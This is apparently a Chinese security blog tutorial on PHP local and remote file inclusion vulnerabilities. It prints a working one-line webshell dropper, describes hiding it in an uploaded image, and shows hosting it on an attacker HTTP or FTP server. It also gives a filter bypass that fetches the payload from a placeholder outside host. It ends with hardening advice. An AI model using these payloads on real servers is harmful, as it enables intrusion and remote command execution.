文件包含漏洞及其攻击思路

2,389 阅读3分钟

声明: 所有文档均用于安全测试加强防护,若作它用后果自负.

文件包含漏洞原理: 是指当服务器开启allow_url_include 选项时,就可以通过php的某些特性函数(incloude(), require(), include_once(),require_once() ),JSP/Servlet:ava.io.file(), java.io.filereader()利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件被读取或执行任意命令.文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启后,服务器允许包含一个远程的文件). 服务器通过php的特性去包含任意文件时,由于包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造一个恶意文件,而我们可以通过这个构造的恶意文件去达到我们自己的目的.

5.3版本的php配置文件中默认打开allow_url_include, 5.4版本后默认关闭此配置项.

文件包含漏洞分为:

  • 本地文件包含漏洞.
  • 远程文件包含漏洞.

本地文件包含漏洞攻击步骤:

  1. 制作图片木马,将木马写入图片.
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[con_pass]);?>')?>
    # 我写入的shell文件是菜刀写法,也有其他的webshell的写法看自己工具选择.
  1. 上传图片木马文件.

  2. 使用文件包含漏洞去执行木马图片生成webshell.

  3. 使用工具进行连接被攻击的服务器.

图1:

  • 可以看到已经将一句话木马写入到了图片当中,接下来使用文件包含漏洞去执行这个图片.

图2:

  • 使用菜刀即可连接到终端 和 进行文件目录管理了.

远程文件包含漏洞攻击步骤:

攻击原理: 因为在引用文件时未能判断是否包含文件开头为http:// 或 https:// ,导致可以引入外站的内容到本地,但是在php5.4之后php.ini,缺省关闭了allow_url_include配置项,让这个薄弱项又安全了不少.

攻击步骤: 需要自己搭建一个提供木马文件的http服务.然后在有远程文件包含漏洞的页面访问木马页面即可.

[root@localhost html]# curl localhost/attackcode.txt
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[con_pass]);?>')?>
  • 这边包含菜刀后门的木马站搭建完毕.我这边没有装php,就一个httpd提供静态页面,然后到需要安全测试站点访问我这个木马页面,即可使用菜刀连接到服务了.

对于有验证开头为http或https的攻击方式

 <?php
    $file = $_GET['page']; // The page we wish to display 
    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        
?> 
  • 换个思路可以使用ftp, tftp 只要能对外提供文件服务的挨个试.主要还是看开发想到的服务.
[root@localhost pub]# curl ftp://localhost
drwxr-xr-x    2 0        0              28 Jan 31 08:50 pub
[root@localhost pub]# curl ftp://localhost/pub/
-rw-r--r--    1 0        0              68 Jan 31 08:50 attackcode.txt
[root@localhost pub]# curl ftp://localhost/pub/attackcode.txt
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[con_pass]);?>')?>

  • 当然也可以使用叠加http:// 和http:// 的方法如下:
hhttp://ttp://xxxxxxx.com/attackcode.txt

如果有写死的代码:

 <?php
    $file = $_GET['page']; //The page we wish to display 
    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
?> 
  • 这个就比较麻烦,暂时没想到什么有效的攻击方案, 但是这样写的少,毕竟这种硬编码的人也会被嘲笑low,但是恰恰是这样让我搞安全的又是钦佩, 可能写代码是真的要返璞归真吧.

推荐的安全防御加固方案:

  • 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制.

  • 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”.

  • 包含文件验证:验证被包含的文件是否是白名单中的一员.

  • 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’).